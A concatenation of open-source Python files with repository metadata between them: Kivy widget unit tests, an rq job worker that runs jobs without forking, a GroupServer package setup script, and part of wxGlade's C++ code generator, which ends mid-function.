True) self.assertEqual(wid.collide_point(50, 50), True) self.assertEqual(wid.collide_point(100, 100), True) self.assertEqual(wid.collide_point(200, 0), False) self.assertEqual(wid.collide_point(500, 500), False) # Currently rejected with a Shader didn't link, but work alone. @unittest.skip("Doesn't work with testsuite, but work alone") def test_export_to_png(self): from kivy.core.image import Image as CoreImage from kivy.uix.button import Button from os.path import join wid = Button(text='test', size=(200, 100), size_hint=(None, None)) self.root.add_widget(wid) tmp = mkdtemp() wid.export_to_png(join(tmp, 'a.png')) wid.export_to_png(join(tmp, 'b.png'), scale=.5) wid.export_to_png(join(tmp, 'c.png'), scale=2) self.assertEqual(CoreImage(join(tmp, 'a.png')).size, (200, 100)) self.assertEqual(CoreImage(join(tmp, 'b.png')).size, (100, 50)) self.assertEqual(CoreImage(join(tmp, 'c.png')).size, (400, 200)) rmtree(tmp) self.root.remove_widget(wid) def test_disabled(self): from kivy.uix.widget import Widget w = Widget(disabled=None) w.disabled = False w.disabled = True self.assertEqual(w.disabled, True)

32.070313

74

0.60268

import unittest from tempfile import mkdtemp from shutil import rmtree class WidgetTestCase(unittest.TestCase): def setUp(self): from kivy.uix.widget import Widget self.cls = Widget self.root = Widget() def test_add_remove_widget(self): root = self.root self.assertEqual(root.children, []) c1 = self.cls() root.add_widget(c1) self.assertEqual(root.children, [c1]) root.remove_widget(c1) self.assertEqual(root.children, []) def test_invalid_add_widget(self): from kivy.uix.widget import WidgetException try: self.root.add_widget(None) self.root.add_widget(WidgetException) self.root.add_widget(self.cls) self.fail() except WidgetException: pass def test_clear_widgets(self): root = self.root self.assertEqual(root.children, []) c1 = self.cls() c2 = self.cls() c3 = self.cls() root.add_widget(c1, index=0) root.add_widget(c2, index=1) root.add_widget(c3, index=2) self.assertEqual(root.children, [c1, c2, c3]) root.clear_widgets([c2]) self.assertEqual(root.children, [c1, c3]) root.clear_widgets([]) self.assertEqual(root.children, [c1, c3]) root.clear_widgets() self.assertEqual(root.children, []) def test_clear_widgets_children(self): root = self.root for _ in range(10): root.add_widget(self.cls()) self.assertEqual(len(root.children), 10) root.clear_widgets(root.children) self.assertEqual(root.children, []) def test_position(self): wid = self.root wid.x = 50 self.assertEqual(wid.x, 50) self.assertEqual(wid.pos, [50, 0]) wid.y = 60 self.assertEqual(wid.y, 60) self.assertEqual(wid.pos, [50, 60]) wid.pos = (0, 0) self.assertEqual(wid.pos, [0, 0]) self.assertEqual(wid.x, 0) self.assertEqual(wid.y, 0) def test_size(self): wid = self.root wid.width = 50 self.assertEqual(wid.width, 50) self.assertEqual(wid.size, [50, 100]) wid.height = 60 self.assertEqual(wid.height, 60) self.assertEqual(wid.size, [50, 60]) wid.size = (100, 100) self.assertEqual(wid.size, [100, 100]) self.assertEqual(wid.width, 100) self.assertEqual(wid.height, 100) def test_collision(self): wid = self.root self.assertEqual(wid.pos, [0, 0]) self.assertEqual(wid.size, [100, 100]) self.assertEqual(wid.collide_point(-1, -1), False) self.assertEqual(wid.collide_point(0, 0), True) self.assertEqual(wid.collide_point(50, 50), True) self.assertEqual(wid.collide_point(100, 100), True) self.assertEqual(wid.collide_point(200, 0), False) self.assertEqual(wid.collide_point(500, 500), False) @unittest.skip("Doesn't work with testsuite, but work alone") def test_export_to_png(self): from kivy.core.image import Image as CoreImage from kivy.uix.button import Button from os.path import join wid = Button(text='test', size=(200, 100), size_hint=(None, None)) self.root.add_widget(wid) tmp = mkdtemp() wid.export_to_png(join(tmp, 'a.png')) wid.export_to_png(join(tmp, 'b.png'), scale=.5) wid.export_to_png(join(tmp, 'c.png'), scale=2) self.assertEqual(CoreImage(join(tmp, 'a.png')).size, (200, 100)) self.assertEqual(CoreImage(join(tmp, 'b.png')).size, (100, 50)) self.assertEqual(CoreImage(join(tmp, 'c.png')).size, (400, 200)) rmtree(tmp) self.root.remove_widget(wid) def test_disabled(self): from kivy.uix.widget import Widget w = Widget(disabled=None) w.disabled = False w.disabled = True self.assertEqual(w.disabled, True)

true

f71026672a7680d364cfb68c1f7b6f4ab8b30417

3,152

py

Python

trader/batch/non_fork_worker.py

9600dev/mmr

b08e63b7044f2b2061d8679b216822c82d309c86

[ "Apache-2.0" ]

12

2021-09-22T21:19:23.000Z

2022-01-03T21:38:47.000Z

trader/batch/non_fork_worker.py

9600dev/mmr

b08e63b7044f2b2061d8679b216822c82d309c86

[ "Apache-2.0" ]

null

trader/batch/non_fork_worker.py

9600dev/mmr

b08e63b7044f2b2061d8679b216822c82d309c86

[ "Apache-2.0" ]

3

2021-09-05T23:26:13.000Z

2022-03-25T01:01:22.000Z

import time import sys import random import datetime import rq import rq.job import rq.compat import rq.worker from rq.defaults import (DEFAULT_LOGGING_FORMAT, DEFAULT_LOGGING_DATE_FORMAT) class NonForkWorker(rq.Worker): def __init__(self, *args, **kwargs): if kwargs.get('default_worker_ttl', None) is None: kwargs['default_worker_ttl'] = 2 super(NonForkWorker, self).__init__(*args, **kwargs) def work(self, burst=False, logging_level="INFO", date_format=DEFAULT_LOGGING_DATE_FORMAT, log_format=DEFAULT_LOGGING_FORMAT, max_jobs=None, with_scheduler=False): self.default_worker_ttl = 2 return super(NonForkWorker, self).work( burst=burst, logging_level=logging_level, date_format=date_format, log_format=log_format, max_jobs=max_jobs, with_scheduler=with_scheduler ) def execute_job(self, job, queue): self.main_work_horse(job, queue) def main_work_horse(self, job, queue): random.seed() self._is_horse = True success = self.perform_job(job, queue) self._is_horse = False def perform_job(self, job, queue, heartbeat_ttl=None): self.prepare_job_execution(job) self.procline('Processing %s from %s since %s' % ( job.func_name, job.origin, time.time())) try: job.started_at = datetime.datetime.now() # I have DISABLED the time limit! rv = job.perform() # Pickle the result in the same try-except block since we need to # use the same exc handling when pickling fails job._result = rv job._status = rq.job.JobStatus.FINISHED job.ended_at = datetime.datetime.now() with self.connection.pipeline() as pipeline: pipeline.watch(job.dependents_key) queue.enqueue_dependents(job, pipeline=pipeline) self.set_current_job_id(None, pipeline=pipeline) self.increment_successful_job_count(pipeline=pipeline) result_ttl = job.get_result_ttl(self.default_result_ttl) if result_ttl != 0: job.save(pipeline=pipeline, include_meta=False) job.cleanup(result_ttl, pipeline=pipeline, remove_from_queue=False) pipeline.execute() except: # Use the public setter here, to immediately update Redis job.status = rq.job.JobStatus.FAILED self.handle_exception(job, *sys.exc_info()) return False if rv is None: self.log.info('Job OK') else: self.log.info('Job OK, result = %s' % (rq.worker.yellow(rq.compat.text_type(rv)),)) if result_ttl == 0: self.log.info('Result discarded immediately.') elif result_ttl > 0: self.log.info('Result is kept for %d seconds.' % result_ttl) else: self.log.warning('Result will never expire, clean up result key manually.') return True

33.178947

95

0.611675

import time import sys import random import datetime import rq import rq.job import rq.compat import rq.worker from rq.defaults import (DEFAULT_LOGGING_FORMAT, DEFAULT_LOGGING_DATE_FORMAT) class NonForkWorker(rq.Worker): def __init__(self, *args, **kwargs): if kwargs.get('default_worker_ttl', None) is None: kwargs['default_worker_ttl'] = 2 super(NonForkWorker, self).__init__(*args, **kwargs) def work(self, burst=False, logging_level="INFO", date_format=DEFAULT_LOGGING_DATE_FORMAT, log_format=DEFAULT_LOGGING_FORMAT, max_jobs=None, with_scheduler=False): self.default_worker_ttl = 2 return super(NonForkWorker, self).work( burst=burst, logging_level=logging_level, date_format=date_format, log_format=log_format, max_jobs=max_jobs, with_scheduler=with_scheduler ) def execute_job(self, job, queue): self.main_work_horse(job, queue) def main_work_horse(self, job, queue): random.seed() self._is_horse = True success = self.perform_job(job, queue) self._is_horse = False def perform_job(self, job, queue, heartbeat_ttl=None): self.prepare_job_execution(job) self.procline('Processing %s from %s since %s' % ( job.func_name, job.origin, time.time())) try: job.started_at = datetime.datetime.now() rv = job.perform() job._result = rv job._status = rq.job.JobStatus.FINISHED job.ended_at = datetime.datetime.now() with self.connection.pipeline() as pipeline: pipeline.watch(job.dependents_key) queue.enqueue_dependents(job, pipeline=pipeline) self.set_current_job_id(None, pipeline=pipeline) self.increment_successful_job_count(pipeline=pipeline) result_ttl = job.get_result_ttl(self.default_result_ttl) if result_ttl != 0: job.save(pipeline=pipeline, include_meta=False) job.cleanup(result_ttl, pipeline=pipeline, remove_from_queue=False) pipeline.execute() except: job.status = rq.job.JobStatus.FAILED self.handle_exception(job, *sys.exc_info()) return False if rv is None: self.log.info('Job OK') else: self.log.info('Job OK, result = %s' % (rq.worker.yellow(rq.compat.text_type(rv)),)) if result_ttl == 0: self.log.info('Result discarded immediately.') elif result_ttl > 0: self.log.info('Result is kept for %d seconds.' % result_ttl) else: self.log.warning('Result will never expire, clean up result key manually.') return True

true

f710267bb6eaca71d34daef2c77ac942970d7e2a

2,601

py

Python

setup.py

groupserver/gs.site.change.name

fdf9a6d2ea2b49c98f5fe0f88ba1de06c57ff052

[ "ZPL-2.1" ]

null

setup.py

groupserver/gs.site.change.name

fdf9a6d2ea2b49c98f5fe0f88ba1de06c57ff052

[ "ZPL-2.1" ]

null

setup.py

groupserver/gs.site.change.name

fdf9a6d2ea2b49c98f5fe0f88ba1de06c57ff052

[ "ZPL-2.1" ]

null

# -*- coding: utf-8 -*- ############################################################################ # # Copyright © 2011, 2012, 2013, 2014, 2015 OnlineGroups.net and # Contributors. # # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################ import codecs import os from setuptools import setup, find_packages from version import get_version version = get_version() with codecs.open('README.rst', encoding='utf-8') as f: long_description = f.read() with codecs.open(os.path.join("docs", "HISTORY.rst"), encoding='utf-8') as f: long_description += '\n' + f.read() setup( name='gs.site.change.name', version=version, description="Change the name of a GroupServer site", long_description=long_description, classifiers=[ 'Development Status :: 5 - Production/Stable', "Environment :: Web Environment", "Framework :: Zope2", "Intended Audience :: Developers", 'License :: OSI Approved :: Zope Public License', "Natural Language :: English", "Natural Language :: French", "Natural Language :: German", "Operating System :: POSIX :: Linux", "Programming Language :: Python", "Topic :: Software Development :: Libraries :: Python Modules", ], keywords='site ,groupserver, name, configure, admin', author='Michael JasonSmith', author_email='mpj17@onlinegroups.net', url='https://source.iopen.net/groupserver/gs.site.change.name/', license='ZPL 2.1', packages=find_packages(exclude=['ez_setup']), namespace_packages=['gs', 'gs.site', 'gs.site.change', ], include_package_data=True, zip_safe=False, install_requires=[ 'setuptools', 'zope.formlib', 'zope.browserpage', 'zope.i18n[compile]', 'zope.i18nmessageid', 'zope.interface', 'zope.schema', 'zope.tal', 'zope.tales', 'zope.viewlet', 'Zope2', 'gs.content.form.base', 'gs.content.layout', 'gs.help', 'gs.site.change.base', 'Products.GSContent', ], entry_points=""" # -*- Entry points: -*- """,)

33.346154

76

0.595925

true

f71028c1481c1fcee06411fa05f09fe527e33b31

50,356

py

Python

codegen/cpp_codegen.py

ardovm/wxGlade

a4cf8e65bcc6df5f65cf8ca5c49b9a628bf1e8eb

[ "MIT" ]

null

codegen/cpp_codegen.py

ardovm/wxGlade

a4cf8e65bcc6df5f65cf8ca5c49b9a628bf1e8eb

[ "MIT" ]

null

codegen/cpp_codegen.py

ardovm/wxGlade

a4cf8e65bcc6df5f65cf8ca5c49b9a628bf1e8eb

[ "MIT" ]

null

"""\ C++ code generator @copyright: 2002-2007 Alberto Griggio @copyright: 2012-2016 Carsten Grohmann @copyright: 2017-2020 Dietmar Schwertberger @license: MIT (see LICENSE.txt) - THIS PROGRAM COMES WITH NO WARRANTY """ import os.path, re, logging from codegen import BaseLangCodeWriter, BaseSourceFileContent, _replace_tag from codegen import ClassLines as BaseClassLines import config, wcodegen class SourceFileContent(BaseSourceFileContent): """Keeps info about an existing file that has to be updated, to replace only the lines inside a wxGlade block, and to keep the rest of the file as it was. @ivar event_handlers: dictionary of event handlers for each class @ivar header_content: Content of the header file @ivar source_content: Content of the source file""" rec_block_start = re.compile( r'^(?P<spaces>\s*)' # leading spaces r'//\s*' # comment sign r'begin\s+wxGlade:\s*' # "begin wxGlade:" statement and tailing spaces r'(?P<classname>\w*)' # class or function name r'::' # separator between class and function / block (non-greedy) r'(?P<block>\w+)' # function / block name r'\s*$' # tailing spaces ) rec_block_end = re.compile( r'^\s*' # leading spaces r'//\s*' # comment sign r'end\s+wxGlade' # "end exGlade" statement r'\s*$' # tailing spaces ) rec_class_end = re.compile( r'^\s*};\s*' # closing curly brackets r'//\s*' # comment sign r'wxGlade:\s+end\s+class' # "wxGlade: end class" statement r'\s*$' # tailing spaces ) "Regexp to match last line of a class statement" rec_class_decl = re.compile( r'^\s*' # leading spaces r'class\s+([a-zA-Z_]\w*)' # "class <name>" statement r'\s*' # tailing spaces ) """Regexp to match class declarations This isn't very accurate - doesn't match template classes, nor virtual inheritance, but should be enough for most cases""" rec_decl_event_table = re.compile( r'^\s*' # leading spaces r'DECLARE_EVENT_TABLE\s*$\s*$\s*;?' # declaration of the event table r'\s*$' # tailing spaces ) "Regexp to match declaration of event table" rec_def_event_table = re.compile( r'^\s*' # leading spaces r'BEGIN_EVENT_TABLE\s*$\s*(\w+)\s*,\s*(\w+)\s*$' r'\s*$' # tailing spaces ) "Regexp to match event table" rec_event_handler = re.compile( r'^\s*' # leading spaces r'(?:virtual\s+)?' r'void\s+(?P<handler>[A-Za-z_]+\w*)' # event handler name r'\s*' # optional spaces r'$[A-Za-z_:0-9]+\s*&\s*\w*$\s*;' r'\s*' # optional spaces r'//\s*wxGlade:\s*<event_handler>' # wxGlade event handler statement r'\s*$' # tailing spaces ) rec_event_handlers_marker = re.compile( r'^\s*' # leading spaces r'//\s*wxGlade:\s*add\s+' r'((?:\w|:)+)\s+event handlers' r'\s*$' # tailing spaces ) "Regexp to match wxGlade comment of event handlers" def __init__(self, name, code_writer): # initialise new variables first self.header_content = None #self.source_content = None self.content = None self.event_table_decl = {} self.event_table_def = {} self.header_extension = code_writer.header_extension self.source_extension = code_writer.source_extension # call inherited constructor BaseSourceFileContent.__init__(self, name, code_writer) def replace_header(self, tag, content): return _replace_tag(self.header_content, tag, content) def build_untouched_content(self): BaseSourceFileContent.build_untouched_content(self) self._build_untouched(self.name + "." + self.header_extension, True) BaseSourceFileContent.build_untouched_content(self) self._build_untouched(self.name + "." + self.source_extension, False) def _build_untouched(self, filename, is_header): prev_was_handler = False events_tag_added = False inside_block = False inside_comment = False tmp_in = self._load_file(filename) out_lines = [] check_old_methods = [] # list of indices with set_properties or do_layout for line in tmp_in: comment_index = line.find('/*') if not inside_comment and comment_index != -1 and comment_index > line.find('//'): inside_comment = True if inside_comment: end_index = line.find('*/') if end_index > comment_index: inside_comment = False if not is_header: result = None else: result = self.rec_class_decl.match(line) if not inside_comment and not inside_block and result: if not self.class_name: # this is the first class declared in the file: insert the new ones before this out_lines.append( '<%swxGlade insert new_classes>' % self.nonce ) self.new_classes_inserted = True self.class_name = result.group(1) self.class_name = self.format_classname(self.class_name) self.classes.add( self.class_name ) # add the found class to the list of classes of this module out_lines.append(line) elif not inside_block: result = self.rec_block_start.match(line) if not inside_comment and result: # replace the lines inside a wxGlade block with a tag that will be used later by add_class spaces = result.group('spaces') which_class = result.group('classname') which_block = result.group('block') if not which_class: which_class = self.class_name else: which_class = self.format_classname(which_class) self.spaces[which_class] = spaces inside_block = True if which_block in ("do_layout","set_properties"): # probably to be removed check_old_methods.append( len(out_lines) ) out_lines.append( '<%swxGlade replace %s %s>' % (self.nonce, result.group('classname'), result.group('block') ) ) else: dont_append = False # ALB 2004-12-08 event handling support... if is_header and not inside_comment: result = self.rec_event_handler.match(line) if result: prev_was_handler = True which_handler = result.group('handler') which_class = self.class_name self.event_handlers.setdefault( which_class, set() ).add( which_handler ) else: if prev_was_handler: # add extra event handlers here... out_lines.append('<%swxGlade event_handlers %s>' % (self.nonce, self.class_name) ) prev_was_handler = False events_tag_added = True elif not events_tag_added and \ self.is_end_of_class(line): out_lines.append( '<%swxGlade event_handlers %s>' % (self.nonce, self.class_name) ) # now try to see if we already have a DECLARE_EVENT_TABLE result = self.rec_decl_event_table.match(line) if result: self.event_table_decl[self.class_name] = True elif not inside_comment: result = self.rec_event_handlers_marker.match(line) if result: out_lines.append( '<%swxGlade add %s event handlers>' % (self.nonce, result.group(1)) ) dont_append = True result = self.rec_def_event_table.match(line) if result: which_class = result.group(1) self.event_table_def[which_class] = True # ---------------------------------------- if not dont_append: out_lines.append(line) else: # ignore all the lines inside a wxGlade block if self.rec_block_end.match(line): inside_block = False if is_header and not self.new_classes_inserted: # if we are here, the previous ``version'' of the file did not contain any class, so we must add the # new_classes tag at the end of the file out_lines.append('<%swxGlade insert new_classes>' % self.nonce) # when moving from 0.9 to 1.0: remove empty methods "do_layout" and "set_properties" while check_old_methods: i = check_old_methods.pop(-1) if out_lines[i+1].strip()=='}': # just end of block -> remove incl. trailing empty lines self._remove_method(out_lines, i-2, i+1) # set the ``persistent'' content of the file if is_header: self.header_content = out_lines else: self.content = out_lines def is_end_of_class(self, line): """Returns True if the line is the last line of a class Not really, but for wxglade-generated code it should work...""" return self.rec_class_end.match(line) class ClassLines(BaseClassLines): """Stores the lines of C++ code for a custom class""" def __init__(self): BaseClassLines.__init__(self) self.ids = [] # Ids declared in the source (for Evt. handling): grouped in a public enum in the custom class self.sub_objs = [] # List of 2-tuples (type, name) of the sub-objects; attributes of the toplevel object self.extra_code_h = [] # Extra header code to output self.extra_code_cpp = [] # Extra source code to output self.dependencies = set() class CPPCodeWriter(BaseLangCodeWriter, wcodegen.CppMixin): """Code writer class for writing C++ code out of the designed GUI elements source_extension: Extension of the source file header_extension: Extension of the header file last_generated_id: Last generated Id number (wxNewId() is not used yet) tmpl_init_gettext: Template for inclusion of i18n headers and defining APP_CATALOG constant or None see: BaseLangCodeWriter""" ClassLines = ClassLines _code_statements = { 'backgroundcolour': "%(objname)sSetBackgroundColour(%(value)s);\n", 'disabled': "%(objname)sEnable(0);\n", 'extraproperties': "%(objname)sSet%(propname_cap)s(%(value)s);\n", 'focused': "%(objname)sSetFocus();\n", 'foregroundcolour': "%(objname)sSetForegroundColour(%(value)s);\n", 'hidden': "%(objname)sHide();\n", 'setfont': "%(objname)sSetFont(wxFont(%(size)s, %(family)s, " "%(style)s, %(weight)s, %(underlined)s, wxT(%(face)s)));\n", 'tooltip': "%(objname)sSetToolTip(%(tooltip)s);\n", 'wxcolour': "wxColour(%(value)s)", 'wxnullcolour': "wxNullColour", 'wxsystemcolour': "wxSystemSettings::GetColour(%(value)s)", } class_separator = '::' language_note = \ '// Example for compiling a single file project under Linux using g++:\n' \ '// g++ MyApp.cpp $(wx-config --libs) $(wx-config --cxxflags) -o MyApp\n' \ '//\n' \ '// Example for compiling a multi file project under Linux using g++:\n' \ '// g++ main.cpp $(wx-config --libs) $(wx-config --cxxflags) -o MyApp Dialog1.cpp Frame1.cpp\n' \ '//\n' output_name = None # If not None, name (without extension) of the file to write into output_header = None # Temporary storage of header file for writing into (list) output_file = None # Temporary storage of source file for writing into (list) shebang = '// -*- C++ -*-\n//\n' tmpl_cfunc_end = '}\n\n' tmpl_sizeritem = '%s->Add(%s, %s, %s, %s);\n' tmpl_sizeritem_button = '%s->AddButton(%s)\n' tmpl_gridbagsizeritem = '%s->Add(%s, wxGBPosition%s, wxGBSpan%s, %s, %s);\n' tmpl_gridbagsizerspacer = '%s->Add(%s, %s, wxGBPosition%s, wxGBSpan%s, %s, %s);\n' tmpl_spacersize = '%s, %s' tmpl_appfile = """\ %(overwrite)s\ %(header_lines)s\ #include "%(filename_top_win_class)s" """ tmpl_init_gettext = """\ #include <wx/intl.h> #ifndef APP_CATALOG #define APP_CATALOG "%(textdomain)s" // replace with the appropriate catalog name #endif """ def _get_app_template(self, app, top_win): 'build template string for application' if not self.app_name: return None # XXX use Show() for frames/panels and ShowModal()/Destroy for dialogs klass = app.klass if self._use_gettext: gettext1 = ["protected:", "%(tab)swxLocale m_locale; // locale we'll be using"] gettext2 = ['%(tab)sm_locale.Init();', '#ifdef APP_LOCALE_DIR', '%(tab)sm_locale.AddCatalogLookupPathPrefix(wxT(APP_LOCALE_DIR));', '#endif', '%(tab)sm_locale.AddCatalog(wxT(APP_CATALOG));\n'] else: gettext1 = gettext2 = [] if klass: klass1 = 'class %(klass)s: public wxApp {' klass2 = ['IMPLEMENT_APP(%(klass)s)\n', 'bool %(klass)s::OnInit()'] else: klass1 = 'class MyApp: public wxApp {' klass2 = ['IMPLEMENT_APP(MyApp)\n', 'bool MyApp::OnInit()',] ret = ['', klass1, 'public:', '%(tab)sbool OnInit();' ] + gettext1 + ['};\n'] + klass2 + ['{'] + gettext2 + [ '%(tab)swxInitAllImageHandlers();', '%(tab)s%(top_win_class)s* %(top_win)s = new %(top_win_class)s(NULL, wxID_ANY, wxEmptyString);', '%(tab)sSetTopWindow(%(top_win)s);', '%(tab)s%(top_win)s->Show();', '%(tab)sreturn true;', '}', ''] return '\n'.join(ret) tmpl_empty_string = 'wxEmptyString' def init_lang(self, app=None): self.last_generated_id = 1000 self.generated_ids = {} # Extensions and main filename based on Project options when set if app is not None: self.source_extension = app.source_extension or config.default_source_extension self.header_extension = app.header_extension or config.default_header_extension else: self.source_extension = config.default_source_extension self.header_extension = config.default_header_extension if hasattr(app, "app_filename"): # only for testing base = os.path.splitext(app.app_filename)[0] else: base = os.path.splitext(config.default_cpp_app_name)[0] # self.app_filename = '%s.%s' % (base, self.source_extension) self.header_lines = [ '#include <wx/wx.h>\n', '#include <wx/image.h>\n' ] # include i18n / gettext if self._use_gettext and self._textdomain: self.header_lines.append( self.tmpl_init_gettext % {'textdomain': self._textdomain} ) # extra lines to generate (see the 'extracode' property of top-level widgets) self._current_extra_code_h = [] self._current_extra_code_cpp = [] def init_files(self, out_path): if self.multiple_files: self.previous_source = None self.out_dir = out_path else: name = os.path.splitext(out_path)[0] self.output_name = name if not self._overwrite: header_exists = self._file_exists(name + "." + self.header_extension) source_exists = self._file_exists(name + "." + self.source_extension) if (header_exists and not source_exists) or (source_exists and not header_exists): ret = _("To keep existing user code, both header and source file must exist.\n" "(files '%s...'") return ret%name if not self._overwrite and header_exists: # keep all the lines not inside a wxGlade block. self.previous_source = SourceFileContent(name, self) else: # if the file doesn't exist, create it and write the intro self.previous_source = None self.output_header = [] self.output_file = [] # isolation directives oh = os.path.basename(name + "." + self.header_extension).upper().replace( '.', '_' ) self.output_header.append('#ifndef %s\n#define %s\n' % (oh, oh)) self.output_header.append('\n') for line in self.header_lines: self.output_header.append(line) self.output_header.append('\n') # now, write the tags to store dependencies and extra code self.output_header.append('<%swxGlade replace dependencies>' % self.nonce) self.output_header.append('\n') self.output_header.append('<%swxGlade replace extracode>' % self.nonce) self.output_header.append('\n') self.output_file.append('#include "%s.%s"\n\n' % (os.path.basename(name), self.header_extension)) self.output_file.append('<%swxGlade replace extracode>\n' % self.nonce) self.output_file.append('\n') def output_header_replace(self, tag, content): _replace_tag(self.output_header, tag, content) def finalize(self): if self.previous_source: # insert all the new custom classes inside the old file tag = '<%swxGlade insert new_classes>' % self.nonce if self.previous_source.new_classes: code = "".join([c[0] for c in self.previous_source.new_classes]) else: code = "" self.previous_source.replace_header(tag, code) extra_source = "".join([c[1] for c in self.previous_source.new_classes]) # extra code (see the 'extracode' property of top-level widgets) tag = '<%swxGlade replace extracode>' % self.nonce code = self._tagcontent( '::extracode', self._current_extra_code_h ) self.previous_source.replace_header(tag, code) code = self._tagcontent( '::extracode', self._current_extra_code_cpp ) self.previous_source.replace(tag, code) # -------------------------------------------------------------- # now remove all the remaining <123415wxGlade ...> tags from the source: # this may happen if we're not generating multiple files, and one of the container class names is changed tags = re.compile( r'(<%swxGlade replace ([a-zA-Z_]*\w*) (\w+)>)' % self.nonce ) for i,line in enumerate(self.previous_source.header_content): match = tags.match(line) if not match: continue tag = match.groups() if tag[2] == 'dependencies': #self._logger.debug('writing dependencies') deps = set() for code in self.classes.values(): deps.update(code.dependencies) lines = self._format_dependencies( deps ) elif tag[2] == 'methods': lines = '' else: lines = '// content of this block (%s) not found: did you rename this class?\n' % tag[2] self.previous_source.replace_header(tag[0], lines) # remove all the remaining <123415wxGlade ...> tags in source file XXX make more efficient self._content_notfound( self.previous_source ) tag_start = r'<%swxGlade add ' % self.nonce tag_end = r' event_handlers>' for i, line in enumerate(self.previous_source.content): if line.startswith(tag_start) and line.endswith(tag_end): source_content.content[i] = "" # write the new file contents to disk header_content = "".join( self.previous_source.header_content ) self.save_file( self.previous_source.name + "." + self.header_extension, header_content, content_only=True ) if extra_source: extra_source = '\n\n' + extra_source source_content = "".join( self.previous_source.content ) self.save_file( self.previous_source.name + "." + self.source_extension, source_content + extra_source, content_only=True ) elif not self.multiple_files: oh = os.path.basename(self.output_name).upper() + '_H' self.output_header.append('\n#endif // %s\n' % oh) # write the list of include files deps = set() for code in self.classes.values(): deps.update(code.dependencies) code = self._format_dependencies( deps ) self.output_header_replace( '<%swxGlade replace dependencies>' % self.nonce, code ) # extra code (see the 'extracode' property of top-level widgets) tag = '<%swxGlade replace extracode>' % self.nonce code = self._tagcontent('::extracode', self._current_extra_code_h) self.output_header_replace( tag, code ) code = self._tagcontent('::extracode', self._current_extra_code_cpp) self.output_file_replace( tag, code ) self.save_file( self.output_name + "." + self.header_extension, self.output_header, self._app_added ) self.save_file( self.output_name + "." + self.source_extension, self.output_file, self._app_added ) self.output_file = self.output_header = None def add_app(self, app_attrs, top_win): # add language specific mappings self.lang_mapping['filename_top_win_class'] = '%s.%s' % (top_win.klass, self.header_extension) BaseLangCodeWriter.add_app(self, app_attrs, top_win) def add_class(self, code_obj): assert code_obj not in self.classes try: builder = self.obj_builders[code_obj.WX_CLASS] except KeyError: logging.error('%s', code_obj) # this is an error, let the exception be raised; the details are logged by the global exception handler raise ret = self.classes[code_obj] = self.ClassLines() # ClassLines will collect the code lines incl. children return ret def finalize_class(self, code_obj): # write the collected code for the class and its children base = code_obj.WX_CLASS klass = self.classes[code_obj] classname = code_obj.klass fmt_klass = self.cn_class(classname) if self.multiple_files: # let's see if the file to generate exists, and in this case create a SourceFileContent instance filename = os.path.join(self.out_dir, classname.replace('::', '_') + "." + self.header_extension) if self._overwrite or not self._file_exists(filename): prev_src = None else: prev_src = SourceFileContent( os.path.join(self.out_dir, classname), self ) else: # in this case, previous_source is the SourceFileContent instance # that keeps info about the single file to generate prev_src = self.previous_source if prev_src and classname in prev_src.classes: is_new = False else: # this class wasn't in the previous version of the source (if any) is_new = True builder = self.obj_builders[base] mycn = getattr(builder, 'cn', self.cn) mycn_f = getattr(builder, 'cn_f', self.cn_f) # collect all event handlers event_handlers = klass.event_handlers for win_id, evt, handler, evt_type in builder.get_event_handlers(code_obj): event_handlers.append((win_id, mycn(evt), handler, evt_type)) # try to see if there's some extra code to add to this class extra_code = getattr(builder, 'extracode', getattr(code_obj, 'extracode', "") or "") if extra_code: extra_code = re.sub(r'\\n', '\n', extra_code) extra_code = re.split(re.compile(r'^###\s*$', re.M), extra_code, 1) klass.extra_code_h.append(extra_code[0]) if len(extra_code) > 1: klass.extra_code_cpp.append(extra_code[1]) if not is_new: self.warning( '%s has extra code, but you are not overwriting existing sources:' ' please check that the resulting code is correct!' % code_obj.name ) if not self.multiple_files: if klass.extra_code_h: self._current_extra_code_h.append( "".join( klass.extra_code_h[::-1] ) ) if klass.extra_code_cpp: self._current_extra_code_cpp.append( "".join( klass.extra_code_cpp[::-1] ) ) default_sign = [('wxWindow*', 'parent'), ('wxWindowID', 'id')] sign = getattr(builder, 'constructor', default_sign) defaults = [] for t in sign: if len(t) == 3: defaults.append(t[2]) else: defaults.append(None) tmp_sign = [t[0] + ' ' + t[1] for t in sign] sign_decl2 = ', '.join(tmp_sign) for i in range(len(tmp_sign)): if defaults[i]: tmp_sign[i] += '=%s' % defaults[i] sign_decl1 = ', '.join(tmp_sign) sign_inst = ', '.join([t[1] for t in sign]) # custom base classes support custom_base = code_obj.check_prop_nodefault('custom_base') and code_obj.custom_base.strip() or None # the header and code lines header_buffer = [] source_buffer = [] hwrite = header_buffer.append swrite = source_buffer.append # generate constructor code if is_new: pass elif custom_base: # custom base classes set, but "overwrite existing sources" not # set. Issue a warning about this self.warning( '%s has custom base classes, but you are not overwriting existing sources: ' 'please check that the resulting code is correct!' % code_obj.name ) if is_new: # header file if custom_base: base = ", public ".join([b.strip() for b in custom_base.split(',')]) hwrite('\nclass %s: public %s {\n' % (fmt_klass, base)) hwrite('public:\n') # the first thing to add it the enum of the various ids if self._mark_blocks: hwrite(self.tabs(1) + '// begin wxGlade: %s::ids\n' % fmt_klass) ids = klass.ids # let's try to see if there are extra ids to add to the enum if hasattr(builder, 'get_ids_code'): ids.extend(builder.get_ids_code(code_obj)) if ids: hwrite(self.tabs(1) + 'enum {\n') for id_name in ids: hwrite('%s%s,\n' % (self.tabs(2), id_name)) hwrite(self.tabs(1) + '};\n') if self._mark_blocks: hwrite(self.tabs(1) + '// end wxGlade\n\n') # constructor prototype hwrite(self.tabs(1) + '%s(%s);\n' % (fmt_klass, sign_decl1)) hwrite('\nprivate:\n') # declarations of the attributes hwrite('\n') hwrite('protected:\n') hwrite(self.tabs(1) + '// begin wxGlade: %s::attributes\n' % fmt_klass) for o_type, o_name in klass.sub_objs: hwrite(self.tabs(1) + '%s* %s;\n' % (o_type, o_name)) hwrite(self.tabs(1) + '// end wxGlade\n') if event_handlers: t = self.tabs(1) hwrite('\n' + t + 'DECLARE_EVENT_TABLE();\n') hwrite('\npublic:\n') already_there = set() for win_id, evt, handler, evt_type in event_handlers: if handler not in already_there: 